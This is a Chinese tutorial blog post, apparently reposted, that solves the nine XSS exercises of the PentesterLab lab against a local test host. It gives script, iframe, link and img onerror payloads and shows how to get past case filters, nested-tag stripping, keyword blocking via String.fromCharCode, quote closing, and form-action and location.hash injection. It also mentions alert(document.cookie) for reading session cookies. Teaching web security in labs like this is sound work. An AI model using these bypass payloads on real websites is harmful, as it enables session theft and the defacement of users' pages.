Pentester 中的 XSS 详解

艺帆风顺 发布于 2025-04-03 15 次阅读


第 1 题(无过滤措施)

首先在后面输入 xss:

HTTP
http://10.211.55.16/xss/example1.php?name=xss

看到如下页面:

然后查看下源码:

感觉这里没有任何的防御措施,忍不住笑出了声。

有很多的标签里面都可以调用 HTML 的事件属性来弹窗,为了节约时间,下面国光我就列举出一些比较常用的手法。

利用基本的 script 标签来弹窗

Payload

JAVASCRIPT
script>alert('xss')script>

定义和用法

 标签用于定义客户端脚本,比如 JavaScript。

效果图

利用 iframe 标签的的 src 属性来弹窗

Payload

JAVASCRIPT
iframe src=javascript:alert('xss')>iframe>

定义和用法

 元素会创建包含另外一个文档的内联框架(即行内框架)。

效果图

利用 a 标签的 href 属性来弹窗

Payload

JAVASCRIPT
a href=javascript:alert('xss')>ggtesta>

这里就是超链接到了:javascript:alert('xss'),效果和浏览器直接打开这个地址:javascript:alert('xss') 是一样的。这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie :

定义和用法

 标签定义超链接,用于从一张页面链接到另一张页面, 元素最重要的属性是 href 属性,它指示链接的目标。指向国光博客的一个例子:

MARKUP
"http://git.sqlsec.com”>国光博客

效果图

利用 img 标签来弹窗

Payload

JAVASCRIPT
img src=1 onerror=alert('xss')>

这里的 src 后面是填写的 是 图片的地址,为了 测试简便 这个地址里面我们一般随便填写,比如这里我们填写的就是 1,因为 1 不是一个正确的值,所以 触发了后面的 onerror 事件(遇到错误 就触发)

当然如果在 src 里面填写一个正常的 URL 的话,就不会弹窗的了,因为 onerror 的触发条件是得报错。

当 src 后面的值是正确的时候呢,这个还可以用 oneclick 事件来触发弹窗:

JAVASCRIPT
img src=http://www.sqlsec.com/favicon.ico onclick=alert('xss')>

这里不论 src 后面的值 是否正确,只要鼠标点击,就会触发弹窗事件:

类似 onerror 和 onclick 的事件有很多种。

定义和用法

img 元素向网页中嵌入一幅图像。
请注意,从技术上讲, 标签并不会在网页中插入图像,而是从网页上链接图像。 标签创建的是被引用图像的占位空间。
 标签有两个必需的属性:src 属性 和 alt 属性

凡是支持事件的 HTML 标签都是可以弹窗的,在 HTML 中支持事件属性的标签很多。

列举出常见的事件

Windows 事件属性

事件作用
onerror在错误发生时运行的脚本
onload页面结束加载之后触发

Keyboard 事件

事件作用
onkeydown在用户按下按键时触发
onkeypress在用户敲击按钮时触发
onkeyup当用户释放按键时触发

鼠标(Mouse)事件

事件作用
onclick元素上发生鼠标点击时触发
onmousedown当元素上按下鼠标按钮时触发
onmousemove当鼠标指针移动到元素上时触发。
onmouseover当鼠标指针移动到元素上时触
onmouseout当鼠标指针移出元素时触发
onmouseup当在元素上释放鼠标按钮时触发

列举出一些支持事件的 HTML 常见标签

标签作用
a定义超链接,用于从一张页面链接到另一张页面,最重要的属性是 href 属性,它指示链接的目标
article规定独立的自包含内容一篇文章应有其自身的意义,应该有可能独立于站点的其余部分对其进行分发
audio定义声音,比如音乐或其他音频流
b规定粗体文本
body定义文档的主体,包含文档的所有内容
br只是简单地开始新的一行
button定义一个按钮
iframe会创建包含另外一个文档的内联框架
img向网页中嵌入一幅图像
select可创建单选或多选菜单
style用于为 HTML 文档定义样式信息
textarea标签定义多行的文本输入控件
video定义视频,比如电影片段或其他视频流

第一题因为没有任何的过滤,所以理论上支持调用 HTML 事件属性的标签都是可以成功弹窗的,下面来个综合点的 payload

综合点的 payload

JAVASCRIPThttp://10.211.55.16/xss/example1.php?name=button type="button" onclick=alert('xss')>通过按钮点击触发xssbutton> font size="4" color="blue" onmouseover=alert('xss')> 移动到元素触发xss font> br>select> option onclick=alert('x')>onclick点击触发事件option> option values=1 onmousedown=alert('ss')>onmousedown触发option>select> a href=javascript:alert('xss')>利用a标签的href属性触发a> br>textarea placeholder=国光的xss测试:键盘按键触发xss onkeypress=alert('xss')>textarea>

第 2 题(大小写转换)

这一题的话, 除了 alert('xss') 这个 payload,其他用第一题中的其他 payload:

JAVASCRIPT
iframe src=javascript:alert('xss')>iframe>a href=javascript:alert('xss')>ggtesta>img src=1 onerror=alert('xss')>


...

依然还是可以的,为了不这么容易做完这道题目,我们来下面的题目都尽量使用 alert('xss') 来试试看 :

查看下源码:

这里我们猜测过滤  和 ,然后这里尝试下大小写转换,尝试着绕过过滤:


JAVASCRIPT
Script>alert('xss')scripT>

可以看到成功绕过了:

第 3 题(嵌套构造)

JAVASCRIPT
Script>alert('xss')scripT>

发现大小写转换的这个套路已经不能够使用了:

得到结论是:没有过滤 alert('xss'),现在就把注意力集中在  和  上 ,Fuzz 测试一下,看看具体过滤了哪些字符?然后再想办法绕过。

JAVASCRIPT
http://10.211.55.16/xss/example3.php?name=>scriptscript>


可以看出过滤了:  和 ,尝试构造输入:

JAVASCRIPT
http://10.211.55.16/xss/example3.php?name=ript>

查看源码后发现成功构造出

JAVASCRIPT
script>


于是判断这里只过滤了一次,接着尝试构造如下完整的 payload:


JAVASCRIPT
http://10.211.55.16/xss/example3.php?name=ript>alert('xss')/script>cript>

第 4 题(利用标签绕过)

直接输入:alert('xss') 发现直接 error 了,于是再次出尝试输入:

JAVASCRIPT
http://10.211.55.16/xss/example4.php?name=alert('xss')>

再次得出结论:没有过滤  > alerrt('xss'),现在主要想办法对 script 做个处理来绕过过滤。然而我各种编码都没有绕过,有的编码的确是绕过了,但是貌似没有解析脚本 =,= 哎~~~放弃用这种形式的 alert('xss') 的 payload 了,于是乎使用下面的  标签成功绕过:


JAVASCRIPT
img src=1 onerror=alert('xss')>

第 5 题(编码绕过)

首先执行:

JAVASCRIPT
script>alert('xss')script>


发现直接就 报 error 了,于是 Fuzz 测试发现并没有过滤: 和  ,只是过滤了:alert , 利用火狐浏览器的 hackbar 插件对 alert('xss') 进行 String.fromCharCode 转换:

JAVASCRIPTscript>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59))script>

第 6 题(闭合标签)

首先默认查看下源码:

发现我们输出的 hacker 作为了一个变量赋值给了 a,并且这个变量在  这个标签中,这样的话,只要能够突破这个赋值的变量,就可以利用这个  这个标签来弹窗了。下面想办法闭合进行 Fuzz 测试……

这里边看源码边做调整。几次测试后得到如下可以弹窗的 payload:

JAVASCRIPT
11";script>img src=1 onerror=alert('xss')>script>

来查看下源码来简单的分析一下:

MARKUP

Helloscript> var $a= "11";script>img src=1 onerror=alert('xss')>script>";script> footer> p>© PentesterLab 2013p> footer>

payload 最前面的 11"; 闭合了前面的  标签 ,最后面的  闭合了后面的  标签 ,中间的

JAVASCRIPT
img src=1 onerror=alert('xss')>

用来触发弹窗事件。

第 7 题(标签内弹窗)

首先来查看下源码:

感觉貌似和第 6 题差不多,于是稍微修改了下使用下面的 payload 来进行测试:

JAVASCRIPT
hacker';xss')>

结果并没有弹窗,赶紧查看下源码压压惊:

可以看到对输入的  和 / 和 > 符号进行转义了,导致我们的弹窗失败。所以现在的着重点就是 如何处理这些符号:
 和 / 和 >,然而国光我失败了,对这些符号进行转码也是失败了。

后来想了好久终于知道问题所在了:受到以前闭合一句话木马的缘故,我老是想着闭合首尾的标签 ,仔细想想,这个变量 就在  里面,可以在里面直接写 alert('xss') 来弹窗的,这样也就不需要使用  和 / 和 > 特殊符号了。

这么看来的话,第 6 题 也应该这么来做,奇葩的我,居然是闭合的方式来弹窗的….

JAVASCRIPT
http://10.211.55.16/xss/example6.php?name=name=";alert('xss');var b="

查看下源码:

MARKUP

Helloscript> var $a= "name=";alert('xss');var b="";script> footer> p>© PentesterLab 2013p> footer>

这里 巧妙的利用了 ; 来在  标签里面执行 alert('xss')

第 8 题(寻找回显点)

是一个输入框,然后输入 payload:;来试试看,查看源码:

MARKUP
HELLO <img src=1 onerror=alert('xss')>form action="/xss/example8.php" method="POST"> Your name:input type="text" name="name" /> input type="submit" name="submit"/>
footer> p>© PentesterLab 2013p> footer>


发现也是对  > 标签进行转义了,这里进行各种编码也没有绕过。
又是好久也没有成功突破,最后仔细看源码,发现突破点在于

MARKUP
"/xss/example8.php"

这是第 8 题的 URL, 于是注意力转移到 URL 处,尝试在 URL 后面添加

VERILOG
http://10.211.55.16/xss/example8.php/

查看源码:

发现我们最后添加的 :/ 写在了  这个标签中,于是在这里进行 Fuzz 测试,尝试闭合标签,最后构造的 payload 如下:


JAVASCRIPT
http://10.211.55.16/xss/example8.php/">img src=1 onerror=alert('xss')>form

来查看下源码来分析刚刚构造的 payload

MARKUP
form action="/xss/example8.php/">img src=1 onerror=alert('xss')>form" method="POST"> Your name:input type="text" name="name" /> input type="submit" name="submit"/>

/" 闭合了最前面的  , 闭合了最后面的 /> 中间的

JAVASCRIPT
img src=1 onerror=alert('xss')>

触发了弹窗事件。

第 9 题(location.hash)

这一题很特殊,不愧是大 boss,这里首先查看下源码:

在源码中完全找不到 hacker 的任何字样,于是仔细百度最可疑的地方:

JAVASCRIPT
script> document.write(location.hash.substring(1));script>

找到一份资料:http://www.runoob.com/jsref/prop-loc-hash.html

这里可以大概看出这里是读取#后面的东西,于是乎简单的在#后面构造 xss 语句:

JAVASCRIPT
http://10.211.55.16/xss/example9.php#

nclick=alert('Bingo')>

最后一道题目了,得录制个 gif 来庆祝一下:

小结

    虽然这个平台只有 9 道题目,但是用心去整理拓展,发现可以学到很多 xss 的入门姿势,这样又把以前快忘记的 xss 姿势巩固提高了一下,更好的为不久后挖 BAT 的 XSS 漏洞做好基础知识的准备。

版权声明:本文内容来自个人博客:国光,遵循CC 4.0 BY-SA版权协议上原文出接及本声明。本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行可。原文链接:https://www.sqlsec.com/2017/02/pentester.html如有涉及到侵权,请联系,将立即予以删除处理。在此特别鸣谢原作者:国光的创作,Powered by Butterfly/By 国光。本文发布已获原作者国光授权转载。此篇文章的所有版权归原作者所有,与本公众号无关,商业转载建议请联系原作权非商业转载请注明出处。